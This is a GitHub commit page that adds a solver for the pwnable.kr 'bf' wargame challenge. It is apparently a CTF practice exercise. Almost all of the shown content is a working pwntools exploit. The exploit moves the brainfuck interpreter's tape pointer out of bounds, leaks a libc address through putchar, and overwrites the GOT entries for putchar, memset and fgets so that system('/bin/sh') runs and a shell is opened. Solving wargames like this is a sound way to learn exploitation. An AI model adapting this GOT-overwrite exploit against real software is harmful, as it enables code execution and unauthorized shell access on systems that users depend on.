Skip to content

Commit 8ce942b

Browse files
committed
solve bf
1 parent 7ddbc11 commit 8ce942b

File tree

2 files changed

+52
-0
lines changed

2 files changed

+52
-0
lines changed

pwnable.kr/bf/bf

7.53 KB
Binary file not shown.

pwnable.kr/bf/solver.py

+52
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
from pwn import *
2+
3+
'''
4+
1. Leak libc offset
5+
2. Overwrite putchar to main(0x08048671)
6+
3. Neutralize memset with ret(0x08048792)
7+
4. Put /bin/sh in the stack with fgets
8+
5. Overwrite fgets to system(LIBC+0x0003f250)
9+
'''
10+
11+
p = remote('localhost', 9001)
12+
13+
MAIN = 0x08048671
14+
RET = 0x08048792
15+
16+
FGETS_GOT_PLT = 0x0804a010
17+
MEMSET_GOT_PLT = 0x0804a02c
18+
PUTCHAR_GOT_PLT = 0x0804a030
19+
20+
TAPE = 0x0804a0a0
21+
22+
PUTCHAR_OFFSET = 0x00068770
23+
SYSTEM_OFFSET = 0x0003f250
24+
25+
payload = '.' # init putchar
26+
payload += '<' * (TAPE - PUTCHAR_GOT_PLT) # cursor is now on putchar
27+
payload += '.>.>.>.<<<' # leak putchar
28+
payload += ',>,>,>,<<<' # overwrite putchar
29+
30+
payload += '<' * (PUTCHAR_GOT_PLT - MEMSET_GOT_PLT) # cursor is now on memset
31+
payload += ',>,>,>,<<<' # overwrite memset
32+
payload += '.' # call putchar and initialize stack
33+
34+
payload += '<' * (TAPE - FGETS_GOT_PLT) # cursor is now on fgets
35+
payload += ',>,>,>,' # overwrite fgets to system
36+
payload += '.' # call putchar - fgets(system) is called with /bin/sh
37+
38+
p.recvuntil('[ ]\n')
39+
p.sendline(payload)
40+
41+
p.recvn(1)
42+
libc = u32(p.recvn(4)) - PUTCHAR_OFFSET
43+
log.success('libc is at 0x%x' % libc)
44+
p.send(p32(MAIN))
45+
p.send(p32(RET))
46+
47+
p.recvuntil('[ ]\n')
48+
p.sendline('/bin/sh\x00')
49+
p.send(p32(libc + SYSTEM_OFFSET))
50+
51+
p.interactive()
52+

0 commit comments

Comments
 (0)